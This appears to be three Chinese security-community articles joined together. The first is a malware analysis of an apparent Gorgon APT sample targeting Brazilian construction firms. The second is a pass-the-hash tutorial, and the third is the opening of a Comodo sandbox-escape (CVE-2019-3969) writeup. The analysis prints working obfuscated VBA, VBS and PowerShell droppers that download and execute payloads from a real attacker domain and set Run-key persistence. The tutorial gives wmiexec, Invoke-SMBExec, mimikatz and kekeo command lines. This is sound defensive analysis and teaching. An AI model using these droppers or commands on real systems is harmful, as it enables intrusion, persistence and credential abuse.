首先是sHexDecode函数，从命名上我们也可以大概才出来是将s(string)转换为Hex的函数：
然后是rep函数，rep函数相对来说比较复杂，我们可以大概看一下，也可以直接调试看该函数运行后的结果。
我们这里可以看到，程序首先会执行
XO = rev(“pxEgeR.tpircSBV”)
翻转得到：VBScript.RegExp赋值给XO
然后通过CreateObject(XO)创建一个VBScript.RegExp对象为RegX。
通过查询可以得知，这是一个VBS的正则表达式对象。
其中Pattern参数用于设置或返回被搜索的正则表达式模式。
如果Global属性的值是True，那就会对整个字符串进行查找。
在此样本中是True。
然后程序通过Dim MyString, SearchPattern, ReplacedText声明了三个变量，并且随后将参数赋值给它们。
最后，程序通过
ReplacedText = RegX.Replace(MyString, ReplaceString)
对字符串进行替换，并且将替换之后的字符串返回回去。
rep函数也执行完成。
最后，程序通过shellObj.Run的方式执行VEC，整个VBA代码执行结束。
现在，我们已经完全搞清楚了该VBA代码的执行流程，我们可以很好的在调试器中对它进行调试了。
回到office的宏代码调试器中，将光标定位到代码窗口中，然后直接按下F8，程序就会默认停在该段VBA的入口点：
然后我们在视图菜单栏中调出本地窗口，方便我们观察代码运行时的值。
然后就F8单步往下走，当运行到ST赋值这一行的时候，由于我们已经知道rev函数的功能，且rev函数中的循环会跑很多次，所以我们这里就不需要按F8，而是shift
+ F8， shift + f8的功能有点类似od中的F8,就不会进入函数，而是会直接执行完函数。
shift + F8单步运行之后，ST成功赋值
然后再后面VEC的赋值中，也shift + F8往下走，三次赋值操作执行完之后，可以看到VEC好像解密出来了一个powershell指令。
我们将指令提取出来如下：
"Powershell $TRP='*.*-EX'.replace('*.*-','I'); sal Master $TRP;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://gritodopovo.com.br/natalidade/macro02.mp3'',$env:APPDATA+''''+''armagedon.vbs'')'|Master; start-process($en"
然后解密k为Wscript.shell
最后通过Wscript.shell执行我们上面看到的powershell指令。
### powershell代码分析
现在我们来分析一下这段powershell指令。
为了方便阅读，我将这段powershell分段显示
"Powershell $TRP='*.*-EX'.replace('*.*-','I');
sal Master $TRP;
'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'
+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://gritodopovo.com.br/natalidade/macro02.mp3'',
$env:APPDATA+''''+''armagedon.vbs'')'|Master; start-process($en"
此段powershell的代码非常简单，就是通过一些字符串的拼接和替换，执行一条WebCLient.DownloadFile
hxxps[:]//gritodopovo.com.br/natalidade/macro02.mp3
的指令下载macro02.mp3文件并保存到本地的%APPDATA%目录下，保存名为armagedon.vbs，接着程序通过start-process的方式启动该vbs脚本。
### Macro02.mp3分析(armagedon.vbs)
还是使用之前的方式，我们首先通过安全的网络尝试对该地址进行请求，可以看到的确有一个”mp3”文件：
打开开发者工具，找到NetWork，重新请求，可以看到mp3文件的返回值是206，206的返回值表示该文件是需要用户交互才能下载的文件，所以我们直接选中该文件，然后右键，选择
copy -> copy response 复制该段数据：
copy的值是一段base64编码的数据，我们直接通过在线工具对该段base64数据进行解码，可以看到，解码之后的确是一段VBS脚本代码:
f="XEI|'' nioj- HKGhjkghjKGhjkjKGJK$]][rahc[;)14,601,89,@#_**CooperANDsteal||1,63,44,601,63,04,101,701,@#_**CooperANDsteal||1,8@#_**CooperANDsteal||,0@#_**CooperANDsteal||,37,64,121,63,95,14,801,801,7@#_**CooperANDsteal||,0@#_**CooperANDsteal||,63,44,05,05,301,63,04,101,99,0@#_**CooperANDsteal||,79,6@#_**CooperANDsteal||,5@#_**CooperANDsteal||,0@#_**CooperANDsteal||,37,101,6@#_**CooperANDsteal||,79,101,4@#_**CooperANDsteal||,76,85,85,39,4@#_**CooperANDsteal||,@#_**CooperANDsteal||1,6@#_**CooperANDsteal||,79,8@#_**CooperANDsteal||,501,6@#_**CooperANDsteal||,99,56,19,16,601,63,95,14,93,901,@#_**CooperANDsteal||1,86,101,101,4@#_**CooperANDsteal||,07,93,04,001,@#_**CooperANDsteal||1,401,6@#_**CooperANDsteal||,101,77,6@#_**CooperANDsteal||,101,17,64,05,05,301,63,16,121,63,95,14,93,79,4@#_**CooperANDsteal||,79,8@#_**CooperANDsteal||,501,17,93,04,101,2@#_**CooperANDsteal||,121,48,6@#_**CooperANDsteal||,101,17,64,79,63,16,05,05,301,63,95,14,@#_**CooperANDsteal||1,6@#_**CooperANDsteal||,@#_**CooperANDsteal||1,6@#_**CooperANDsteal||,63,44,93,101,021,101,64,001,79,2@#_**CooperANDsteal||,101,6@#_**CooperANDsteal||,@#_**CooperANDsteal||1,0@#_**CooperANDsteal||,93,04,46,16,23,601,89,@#_**CooperANDsteal||1,63,95,88,96,37,421,14,93,021,84,93,44,93,64,64,93,04,101,99,79,801,2@#_**CooperANDsteal||,101,4@#_**CooperANDsteal||,64,14,93,15,2@#_**CooperANDsteal||,901,64,901,79,2@#_**CooperANDsteal||,5@#_**CooperANDsteal||,701,4@#_**CooperANDsteal||,79,001,74,101,001,79,001,501,801,79,6@#_**CooperANDsteal||,79,0@#_**CooperANDsteal||,74,4@#_**CooperANDsteal||,89,64,901,@#_**CooperANDsteal||1,99,64,@#_**CooperANDsteal||1,8@#_**CooperANDsteal||,@#_**CooperANDsteal||1,2@#_**CooperANDsteal||,@#_**CooperANDsteal||1,001,@#_**CooperANDsteal||1,6@#_**CooperANDsteal||,501,4@#_**CooperANDsteal||,301,74,74,85,5@#_**CooperANDsteal||,2@#_**CooperANDsteal||,6@#_**CooperANDsteal||,6@#_**CooperANDsteal||,401,93,44,001,@#_**CooperANDsteal||1,401,6@#_**CooperANDsteal||,101,77,85,85,39,101,2@#_**CooperANDsteal||,121,48,801,801,79,76,64,99,501,5@#_**CooperANDsteal||,79,66,801,79,7@#_**CooperANDsteal||,5@#_**CooperANDsteal||,501,68,64,6@#_**CooperANDsteal||,201,@#_**CooperANDsteal||1,5@#_**CooperANDsteal||,@#_**CooperANDsteal||1,4@#_**CooperANDsteal||,99,501,77,19,44,14,93,0@#_**CooperANDsteal||,93,44,93,63,59,63,93,04,101,99,79,801,2@#_**CooperANDsteal||,101,4@#_**CooperANDsteal||,64,93,301,63,59,63,501,4@#_**CooperANDsteal||,6@#_**CooperANDsteal||,38,001,79,@#_**CooperANDsteal||1,801,63,59,63,9@#_**CooperANDsteal||,@#_**CooperANDsteal||1,86,93,44,14,6@#_**CooperANDsteal||,0@#_**CooperANDsteal||,101,501,801,76,89,101,78,64,6@#_**CooperANDsteal||,101,87,23,6@#_**CooperANDsteal||,99,101,601,89,97,54,9@#_**CooperANDsteal||,101,87,04,04,101,901,79,0@#_**CooperANDsteal||,121,66,801,801,79,76,85,85,39,0@#_**CooperANDsteal||,@#_**CooperANDsteal||1,501,6@#_**CooperANDsteal||,99,79,4@#_**CooperANDsteal||,101,6@#_**CooperANDsteal||,0@#_**CooperANDsteal||,37,64,99,501,5@#_**CooperANDsteal||,79,66,801,79,7@#_**CooperANDsteal||,5@#_**CooperANDsteal||,501,68,64,6@#_**CooperANDsteal||,201,@#_**CooperANDsteal||1,5@#_**CooperANDsteal||,@#_**CooperANDsteal||1,4@#_**CooperANDsteal||,99,501,77,19,16,@#_**CooperANDsteal||1,6@#_**CooperANDsteal||,@#_**CooperANDsteal||1,6@#_**CooperANDsteal||,63,39,39,19,101,6@#_**CooperANDsteal||,121,66,19,95,88,96,37,421,14,93,301,2@#_**CooperANDsteal||,601,64,28,2@#_**CooperANDsteal||,7@#_**CooperANDsteal||,6@#_**CooperANDsteal||,4@#_**CooperANDsteal||,79,6@#_**CooperANDsteal||,38,79,8@#_**CooperANDsteal||,@#_**CooperANDsteal||1,87,08,0@#_**CooperANDsteal||,0@#_**CooperANDsteal||,7@#_**CooperANDsteal||,28,74,101,001,79,001,501,801,79,6@#_**CooperANDsteal||,79,0@#_**CooperANDsteal||,74,4@#_**CooperANDsteal||,89,64,901,@#_**CooperANDsteal||1,99,64,@#_**CooperANDsteal||1,8@#_**CooperANDsteal||,@#_**CooperANDsteal||1,2@#_**CooperANDsteal||,@#_**CooperANDsteal||1,001,@#_**CooperANDsteal||1,6@#_**CooperANDsteal||,501,4@#_**CooperANDsteal||,301,74,74,8"
f=f+"5,5@#_**CooperANDsteal||,2@#_**CooperANDsteal||,6@#_**CooperANDsteal||,6@#_**CooperANDsteal||,401,93,44,001,@#_**CooperANDsteal||1,401,6@#_**CooperANDsteal||,101,77,85,85,39,101,2@#_**CooperANDsteal||,121,48,801,801,79,76,64,99,501,5@#_**CooperANDsteal||,79,66,801,79,7@#_**CooperANDsteal||,5@#_**CooperANDsteal||,501,68,64,6@#_**CooperANDsteal||,201,@#_**CooperANDsteal||1,5@#_**CooperANDsteal||,@#_**CooperANDsteal||1,4@#_**CooperANDsteal||,99,501,77,19,44,14,93,0@#_**CooperANDsteal||,93,44,93,63,59,63,93,04,101,99,79,801,2@#_**CooperANDsteal||,101,4@#_**CooperANDsteal||,64,93,301,63,59,63,501,4@#_**CooperANDsteal||,6@#_**CooperANDsteal||,38,001,79,@#_**CooperANDsteal||1,801,63,59,63,9@#_**CooperANDsteal||,@#_**CooperANDsteal||1,86,93,44,14,6@#_**CooperANDsteal||,0@#_**CooperANDsteal||,101,501,801,76,89,101,78,64,6@#_**CooperANDsteal||,101,87,23,6@#_**CooperANDsteal||,99,101,601,89,97,54,9@#_**CooperANDsteal||,101,87,04,04,101,901,79,0@#_**CooperANDsteal||,121,66,801,801,79,76,85,85,39,0@#_**CooperANDsteal||,@#_**CooperANDsteal||1,501,6@#_**CooperANDsteal||,99,79,4@#_**CooperANDsteal||,101,6@#_**CooperANDsteal||,0@#_**CooperANDsteal||,37,64,99,501,5@#_**CooperANDsteal||,79,66,801,79,7@#_**CooperANDsteal||,5@#_**CooperANDsteal||,501,68,64,6@#_**CooperANDsteal||,201,@#_**CooperANDsteal||1,5@#_**CooperANDsteal||,@#_**CooperANDsteal||1,4@#_**CooperANDsteal||,99,501,77,19,16,601,201,63,95,14,93,99,501,5@#_**CooperANDsteal||,79,66,801,79,7@#_**CooperANDsteal||,5@#_**CooperANDsteal||,501,68,64,6@#_**CooperANDsteal||,201,@#_**CooperANDsteal||1,5@#_**CooperANDsteal||,@#_**CooperANDsteal||1,4@#_**CooperANDsteal||,99,501,77,93,04,101,901,79,87,801,79,501,6@#_**CooperANDsteal||,4@#_**CooperANDsteal||,79,08,401,6@#_**CooperANDsteal||,501,78,001,79,@#_**CooperANDsteal||1,67,85,85,39,121,801,89,901,101,5@#_**CooperANDsteal||,5@#_**CooperANDsteal||,56,64,0@#_**CooperANDsteal||,@#_**CooperANDsteal||1,501,6@#_**CooperANDsteal||,99,101,801,201,101,28,64,901,101,6@#_**CooperANDsteal||,5@#_**CooperANDsteal||,121,38,19,23,39,001,501,@#_**CooperANDsteal||1,8@#_**CooperANDsteal||,19,95,05,05,2@#_**CooperANDsteal||,63,23,16,23,801,@#_**CooperANDsteal||1,99,@#_**CooperANDsteal||1,6@#_**CooperANDsteal||,@#_**CooperANDsteal||1,4@#_**CooperANDsteal||,08,121,6@#_**CooperANDsteal||,501,4@#_**CooperANDsteal||,7@#_**CooperANDsteal||,99,101,38,85,85,39,4@#_**CooperANDsteal||,101,301,79,0@#_**CooperANDsteal||,79,77,6@#_**CooperANDsteal||,0@#_**CooperANDsteal||,501,@#_**CooperANDsteal||1,08,101,99,501,8@#_**CooperANDsteal||,4@#_**CooperANDsteal||,101,38,64,6@#_**CooperANDsteal||,101,87,64,901,101,6@#_**CooperANDsteal||,5@#_**CooperANDsteal||,121,38,19,95,14,05,55,84,15,23,44,39,101,2@#_**CooperANDsteal||,121,48,801,@#_**CooperANDsteal||1,99,@#_**CooperANDsteal||1,6@#_**CooperANDsteal||,@#_**CooperANDsteal||1,4@#_**CooperANDsteal||,08,121,6@#_**CooperANDsteal||,501,4@#_**CooperANDsteal||,7@#_**CooperANDsteal||,99,101,38,64,6@#_**CooperANDsteal||,101,87,64,901,101,6@#_**CooperANDsteal||,5@#_**CooperANDsteal||,121,38,19,04,6@#_**CooperANDsteal||,99,101,601,89,97,@#_**CooperANDsteal||1,48,85,85,39,901,7@#_**CooperANDsteal||,0@#_**CooperANDsteal||,96,19,23,16,23,05,05,2@#_**CooperANDsteal||,63,95,14,301,0@#_**CooperANDsteal||,501,2@#_**CooperANDsteal||,63,04,23,801,501,6@#_**CooperANDsteal||,0@#_**CooperANDsteal||,7@#_**CooperANDsteal||,23,521,6@#_**CooperANDsteal||,101,501,7@#_**CooperANDsteal||,18,54,23,94,23,6@#_**CooperANDsteal||,0@#_**CooperANDsteal||,7@#_**CooperANDsteal||,@#_**CooperANDsteal||1,99,54,23,901,@#_**CooperANDsteal||1,99,64,101,801,301,@#_**CooperANDsteal||1,@#_**CooperANDsteal||1,301,23,2@#_**CooperANDsteal||,901,@#_**CooperANDsteal||1,99,54,23,0@#_**CooperANDsteal||,@#_**CooperANDsteal||1,501,6@#_**CooperANDsteal||,99,101,0@#_**CooperANDsteal||,0@#_**CooperANDsteal||,@#_**CooperANDsteal||1,99,54,6@#_**CooperANDsteal||,5@#_**CooperANDsteal||,101,6@#_**CooperANDsteal||,23,16,23,301,0@#_**CooperANDsteal||,501,2@#_**CooperANDsteal||,63,321,23,@#_**CooperANDsteal||1,001(@=HKGhjkghjKGhjkjKGJK$"
f=replace(f,"@#_**CooperANDsteal||","11")
XS="Pow*_$%rsh*_$%ll"
exec(replace(XS,"*_$%","e")+space(1)+StrReverse(f))
exec(replace(XS,"*_$%","e")+space(1)+StrReverse(f))
CurrentDirectory =replace(WScript.ScriptFullName,WScript.ScriptName,"")
sname= wsh.scriptname
startupfolder="C:Users"+CreateObject("WScript.Network").UserName+"AppDataRoaming"
exec(replace(XS,"*_$%","e")+" Set-Item -Path HKCU:SoftwareMicrosoftWindowsCurrentVersionRun -Value "+"'"+startupfolder+ sname+"'")
if CurrentDirectory = startupfolder Then
WScript.Quit()
else
mnb()
End if
sub mnb()
sSourceFile = CurrentDirectory+sname
sCmd = "cmd /c copy """ & sSourceFile & """ """ & startupfolder & """ /Y"
exec(sCmd)
End sub
Sub exec(gggg)
jk=sHexDecode("536574206f626a574d4953657276696365203d204765744f626a656374282277696e6d676d74733a7b696d706572736f6e6174696f6e4c6576656c3d696d706572736f6e6174657d215c5c2e5c726f6f745c63696d76322229203a20")
jk2=sHexDecode("44696d206f626a574d49536572766963652c6f626a537461727475702c6f626a50726f636573732c6f626a436f6e6669672c696e7450726f6365737349442c696e7452657475726e203a20")
ExecuteGlobal _
sHexDecode("4f7074696f6e204578706c696369743a20") & _
sHexDecode("53756220657865632867676767293a20") & _
jk2 & _
jk & _
sHexDecode("536574206f626a53746172747570203d206f626a574d49536572766963652e476574282257696e33325f50726f636573735374617274757022293a20") & _
sHexDecode("536574206f626a436f6e666967203d206f626a537461727475702e537061776e496e7374616e63655f3a20") & _
sHexDecode("6f626a436f6e6669672e53686f7757696e646f77203d2030203a20") & _
sHexDecode("536574206f626a50726f63657373203d206f626a574d49536572766963652e476574282257696e33325f50726f636573732229203a20") & _
sHexDecode("696e7452657475726e203d206f626a50726f636573732e43726561746528676767672c204e756c6c2c206f626a436f6e6669672c20696e7450726f63657373494429203a20") & _
sHexDecode("456e64205375623a")
End sub
Public Function sHexDecode(sData)
Dim sOutString
Dim sTmpChar
For iChar = 1 To Len(sData) Step 2
sTmpChar = Chr("&H" & Mid(sData, iChar, 2))
sOutString = sOutString & sTmpChar
Next
sHexDecode = sOutString
End Function
该段VBS代码较长，我们在编辑器中可以看到，该段vbs首先会对f变量进行两次赋值，然后通过
f = replace(f,”@#_**CooperANDsteal||”,”11”) 的操作将中间的混淆值去掉
所以我们直接在调试器中将两次f的值拼接起来，然后手动替换。
替换之后F的值如下，可以看出来是一段加密的字节流
接下来程序通过replace解码出XS的powershell，然后执行两次通过StrReverse翻转后的f变量。
至于f翻转后执行了什么，我们后面在看，我们先把这个vbs代码看完。
接下来程序通过
CurrentDirectory =replace(WScript.ScriptFullName,WScript.ScriptName,””)
将ScriptFullName (当前运行脚本的完整路径) 替换为WScript.ScriptName(当前运行脚本的文件名)
然后通过
startupfolder=”C:Users”+CreateObject(“WScript.Network”).UserName+”AppDataRoaming”
获取当前计算机的启动路径。
然后程序通过以if判断当前的路径是否在启动路径中，如果在启动路径中，则说明该脚本已经成功运行了，那么则退出当前进程防止多开被发现。相反，如果不在启动路径中，则通过mnb函数将该文件copy到启动路径中。
最后程序多次调用sHexDecode函数
这里静态看就很慢了，此时我们可以对vbs脚本进行调试。
调试的话一种是官方推荐的VS调试，一种是自己写一些简单的VBS脚本赋值分析。我们可以根据不同的情况选择不同的调试方法，我们先来尝试一下print大法。
我们首先在桌面新建一个debug.vbs和1.txt
然后再debug.vbs中键入sHexDecode函数的内容：
我这里在opentextfile函数给的参数是8，表示追加写入，因为我们会多次调用和写入。
此时我们运行程序，程序就会弹框显示，并且将值写入到1.txt文档中。
同样的，我们再解码jk2：
最后，将所有数据解码之后可以看到，又是一段vbs代码：
格式化之后大概如下：
就是通过com组件启动指定进程。
所以该VBS的功能是：
1. 替换、翻转一个大字节流f
2. 通过powershell执行f
3. 将自身移动到启动项文件夹下。
所以这样看来，该vbs的关键代码在上面执行的两行powershell脚本中。接下来我们来分析这个powershell指令。
### powershell代码分析
由于在vbs代码中只是对f变量进行了一个简单的翻转，然后就调用powershell执行，所以我们直接通过python将f变量进行翻转再写入到code.txt文件中：
这样powershell指令就比较一目了然了：
我们可以看到最后的IEX指令，熟悉powershell就知道这是执行指令，对于此类powershell脚本的解码方式非常简单，就是直接将IEX指令更换为echo指令即可。
然后我们将该code.txt更改为code.ps1，并且启动powershell 执行该ps1脚本：
为了有更好的可视化，我们还是使用管道将其进行输出。
成功运行后，桌面将会出现我们需要powershellCode.ps1
格式化之后显示如下：
在该段代码中，程序首先会通过
do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);
的方式循环请求google.com 如果成功请求则继续，如果请求失败则退出。
然后程序使用
$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
命令指定请求协议，在本样本中使用的是TLS1.2协议进行网络请求。
然后通过
[void]
[System.Reflection.Assembly]::LoadWithPartialName(‘Microsoft.VisualBasic’);
反射加载执行代码
执行的代码是
$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object
Net.WebClient),’Dow$ _$loadStri$_
$g’.replace(‘$_$’,’n’),[Microsoft.VisualBasic.CallType]::Method,’hxxps://gritodopovo.com.br/natalidade/RunnPNovaStartupR.jpg’)|IEX;
该段代码首先通过vb的方法请求并下载hxxps://gritodopovo.com.br/natalidade/RunnPNovaStartupR.jpg到本地，然后通过IEX执行该jpg文件。
同样的，接着通过
[Byte[]]$toto=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object
Net.WebClient),’Dow$ _$loadStri$_
$g’.replace(‘$_$’,’n’),[Microsoft.VisualBasic.CallType]::Method,’hxxps://gritodopovo.com.br/natalidade/darkspam.mp3’).replace(‘..’,’0x’)|IEX;
下载hxxps://gritodopovo.com.br/natalidade/darkspam.mp3到本地，并且将..替换为0x并通过IEX执行。
### RunnPNovaStartupR.jpg
同样的方法，我们请求该地址，并且尝试保存jpg的返回值
保存的jpg返回值如下：
这里很明显又是一个powershell的脚本。
在该脚本中，程序首先是定义了一个名为Get-DecompressedByteArray的function，这里只是方法定义，还未调用，我们暂时可以不用看。
接着程序通过
$t0=’DEX’.replace(‘D’,’I’);
将$t0赋值为IEX
然后执行
sal g $t0;
给$t0添加别名：g方便之后调用
然后声明了[Byte[]]$Cli 赋值一个超长的串：
滑到最后可以看到，程序将这里的@|@替换为0x然后通过g，也就是IEX进行调用
而且我们可以看到，将这里的@|@替换之后，该段数据的头部二进制流将为1F 8B 08 00
根据经验，我们可以得知该文件流将会是一个zip压缩包。
我们手动对这段数据进行替换，首先将所有的@|@替换为空字符
然后将逗号(，) 替换为空格：
替换之后复制这一大段数据，然后在Winhex中先ctrl + n新建一个1字节大小的文件：
文件新建后，在第一个字节流按Ctrl +B 复制二进制字节流，在弹出的对话框中选择Ascii Hex
确定之后即可成功保存：
保存之后修改为zip后缀并通过压缩软件解压
将这个noname文件解压出来并放入winhex中可以看到是一个PE文件
现在这个RunnPnovaStartupR.jpg的功能就很清晰了。
该jpg文件本质是一个powershell脚本文件，由于在上一层是通过IEX执行该jpg文件，所以该文件中的powershell代码将会正常执行。powershell代码执行之后，会通过字符串替换的方式解码一个zip文件，然后通过powershell系统方法对该字节流进行解压缩得到一个PE然后反射加载。
由于该PE与我们之前分析过的类型不同，属于新的一种PE分析，我们将在下一节中详细讲解该PE的分析方法。
### darkspam.mp3
darkspam.mp3文件内容如下，和我们推算的一致，是一个PE文件。
同样的，我们把这段字节流保存到Winhex中然后转存为PE文件：
然后通过exeinfo加载该文件可以看到是一个Delphi语言编写的木马。关于该类木马的分析我们也在后面的文章中进行介绍。
至此，本次非PE部分的分析就完全结束了。
## 0x03 总结
通过本次分析可以看到，涉及的样本和请求地址还是比较多的。现在做一个简单的整理。
首先是原始文件md5：85e12cab0cf1f599007e693e66f42de8
用于模板注入文件md5：03E26C270201B736995056271F566979
模板注入的地址：hxxps://gritodopovo.com.br/natalidade/new.wiz
第一个vbs的下载地址：hxxps://gritodopovo.com.br/natalidade/macro02.mp3
payload1下载地址：hxxps://gritodopovo.com.br/natalidade/RunnPNovaStartupR.jpg
payload2下载地址：hxxps://gritodopovo.com.br/natalidade/darkspam.mp3
我们可以看到，这里的下载地址都在主域名gritodopovo.com.br的natalidade路径下。
我们对该主域名进行查询可以看到该域名已经和APT组织Gorgon关联起来了：
[https://ti.qianxin.com/v2/search?type=domain&value=gritodopovo.com.br](https://ti.qianxin.com/v2/search?type=domain&value=gritodopovo.com.br)
结合我们在最开始分析到的内容，该样本疑似针对巴西建筑行业的攻击，也比较符合Gorgon的攻击目标。
此外，在去年年底的时候，笔者分析了一起关于Gorgon针对巴西公寓的攻击:<https://www.anquanke.com/post/id/204023>
通过对比两次攻击的样本和攻击手法，可以发现有不少共同之处，所以基本可以确定，该样本属于Gorgon的攻击样本，攻击目标是巴西的建筑/与建筑相关的行业。
且从之前的攻击中我们可以看到，样本在最后是下载并执行了两个njrat远控木马，但是很明显在本样本中，最后加载的样本和之前有所不同，这是个好消息，说明我们掌握了Gorgon的一个新木马，我们可以收集这些信息，逐步完善对Gorgon的分析。 | 社区文章 |
# 域渗透——Pass The Hash的实现
## 0x00 前言
* * *
在之前的文章《域渗透——Pass The Hash & Pass The Key》曾介绍过kb2871997对Pass The
Hash的影响。本文将站在另一个角度，介绍Pass The Hash的相关实现
## 0x01 简介
* * *
本文将要介绍以下内容：
* Pass The Hash的原理
* 常用工具
* mimikatz中的Pass The Hash
* mimikatz中的Pass The Ticket
## 0x02 Pass The Hash的原理
* * *
可参考Wikipedia的介绍，地址如下：
<https://en.wikipedia.org/wiki/Pass_the_hash>
提取出关键信息：
* 在Windows系统中，通常会使用NTLM身份认证
* NTLM认证不使用明文口令，而是使用口令加密后的hash值，hash值由系统API生成(例如LsaLogonUser)
* hash分为LM hash和NT hash，如果密码长度大于15，那么无法生成LM hash。从Windows Vista和Windows Server 2008开始，微软默认禁用LM hash
* 如果攻击者获得了hash，就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
**注：**
mimikatz支持导出内存中用户的LM hash，但前提是Windows系统支持LM hash
Windows Server 2008启用LM hash的方法：
`gpedit.msc`-`计算机配置`-`Windows 设置`-`安全设置`-`本地策略`-`安全选项`
找到`网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值`，选择`已禁用`
系统下一次更改密码后，就能够导出LM hash
## 0x03 常用工具
* * *
当我们获得某个用户的口令hash，并且条件限定我们不去破解明文口令，实现Pass The Hash都有哪些工具呢？
### 1、Kali下的工具
#### (1) meterpreter
use exploit/windows/smb/psexec_psh
#### (2) 工具集
位于`密码攻击`-`Passing the Hash`下，如下图
包含多种利用工具
### 2、Windows系统下的工具
#### (1) python
**wmiexec：**
参考地址：
<https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py>
exe版本下载地址：
<https://github.com/maaaaz/impacket-examples-windows>
**注：**
wmiexec.py的注释中提示"Main advantage here is it runs under the user (has to be
Admin) account"，经实际测试普通用户权限即可
参数实例：
wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/[email protected] "whoami"
wmiexec.py的hash参数格式为`LMHASH:NTHASH`，由于该Hash来自于Server 2008，系统默认不支持LM hash，所以LM
hash可以设定为任意值
#### (2) powershell
参考地址：
<https://github.com/Kevin-Robertson/Invoke-TheHash/>
支持多种方式
**Invoke-WMIExec：**
参数实例：
Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose
类似wmiexec.py
**Invoke-SMBExec：**
支持SMB1, SMB2 (2.1), and SMB signing
参数实例：
Invoke-SMBExec -Target 192.168.0.2 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose
通过在目标主机创建服务执行命令，所以权限为system
**Invoke-SMBClient：**
支持SMB1, SMB2 (2.1), and SMB signing
如果只有SMB文件共享的权限，没有远程执行权限，可以使用该脚本
支持的功能包括列举目录、上传文件、下载文件、删除文件(具体权限取决于该口令hash的权限)
#### (3) mimikatz
**Pass-The-Hash：**
实际上为Overpass-the-hash
参数实例：
privilege：：debug
sekurlsa::pth /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1
**注：**
mimikatz的pth功能需要本地管理员权限，这是由它的实现机制决定的，需要先获得高权限进程lsass.exe的信息
对于8.1/2012r2，安装补丁kb2871997的Win 7/2008r2/8/2012，可以使用AES keys代替NT hash
**Pass-The-Ticket：**
考虑到mimikatz的pth功能需要本地管理员权限，所以mimikatz也提供了不需要管理员权限的解决方法Pass-The-Ticket
Pass-The-Ticket需要用到gentilkiwi开源的另一款工具kekeo，下载地址：
<https://github.com/gentilkiwi/kekeo>
参数实例：
kekeo "tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1"
执行后生成票据`[email protected][email protected]`
接下来导入票据：
kekeo "kerberos::ptt [email protected][email protected]"
## 0x04 小结
* * *
本文列举了多种实现Pass The Hash的工具，欢迎补充 | 社区文章 |
# CVE-2019-3969：Comodo沙箱逃逸提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 tenable-techblog，文章来源：medium.com
原文地址：<https://medium.com/tenable-techblog/comodo-from-sandbox-to-system-cve-2019-3969-b6a34cc85e67>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
AV（反病毒软件）一直以来都是漏洞挖掘的绝佳目标，这是因为其中涉及到巨大的攻击面、复杂的解析过程以及以高权限运行的各种组件。几个月之前，我决定分析最新版的Comodo
Antivirus
v12.0.0.6810，最终我找到了一些有趣的信息，但这里我想跟大家分享其中一个沙箱逃逸问题，可以将权限提升至`SYSTEM`级别。在本文中，我们会滥用各种COM对象，绕过二进制签名检查，劫持关键服务。下面开始进入主题。
## 0x01 Comodo沙箱机制
首先我想介绍一下Comodo的沙箱技术，Comodo称之为“Containment”，在本文中我将交替使用“Containment”以及“沙箱”这两个词。这种沙箱技术可以限制不可信应用（[RTATC](https://containment.comodo.com/how-it-works/?source=post_page---------------------------)）在类沙箱环境中运行，同时OS中还能运行其他进程。这种技术涉及到用户模式hook以及内核模式驱动，可以阻止对主机上文件或注册表的任何修改操作。该环境中可以读取文件及注册表，但一旦执行写操作，文件I/O就会被转移到沙箱文件系统，后续读取操作将与沙箱文件系统交互，使调用方误认为自己在与正常的文件系统交互。
Comodo通过过滤器驱动`Cmdguard.sys`来实现该功能。该驱动会使用[`FltRegisterFilter`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/fltkernel/nf-fltkernel-fltregisterfilter?source=post_page---------------------------)
API注册一个[`_FLT_REGISTRATION`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/fltkernel/ns-fltkernel-_flt_registration?source=post_page---------------------------)结构，该结构包含与来自用户模式应用的各种[IRP](https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets?source=post_page---------------------------)（比如[文件访问](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-create?source=post_page---------------------------)、[文件写入](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-write?source=post_page---------------------------)等）对应的回调例程，并且可以执行对应的拦截/处理操作。此外，ALPC（用于各种OS组件的一种Microsoft
IPC）也会被沙箱化处理，Comodo会将ALPC连接转移到“沙箱化”的`svchost.exe`实例，避免通过RPC/ALPC实现沙箱逃逸。这种containment技术工作原理如下图所示：
图1. Comodo Containment技术逆向分析图
`Cmdguard.sys`不仅可以过滤文件/注册表I/O，也会使用[`PsSetCreateProcessNotifyRoutine`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine?source=post_page---------------------------)注册[`CREATE_PROCESS_NOTIFY_ROUTINE`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nc-ntddk-pcreate_process_notify_routine?source=post_page---------------------------)，跟踪正在运行的进程。当进程运行时，Comodo会将containment状态、信任等级以及其他相关属性跟踪并保存到存储在内核中的一个进程列表。`Cmdguard.sys`会对外提供“filter
ports”，以便用户模式下的Comodo组件通信。Comodo会向`cmdAuthPort`
filterport发送特定消息来设置containment状态，随后内核模式驱动会在该消息指定的目标进程上设置“containment”标志。
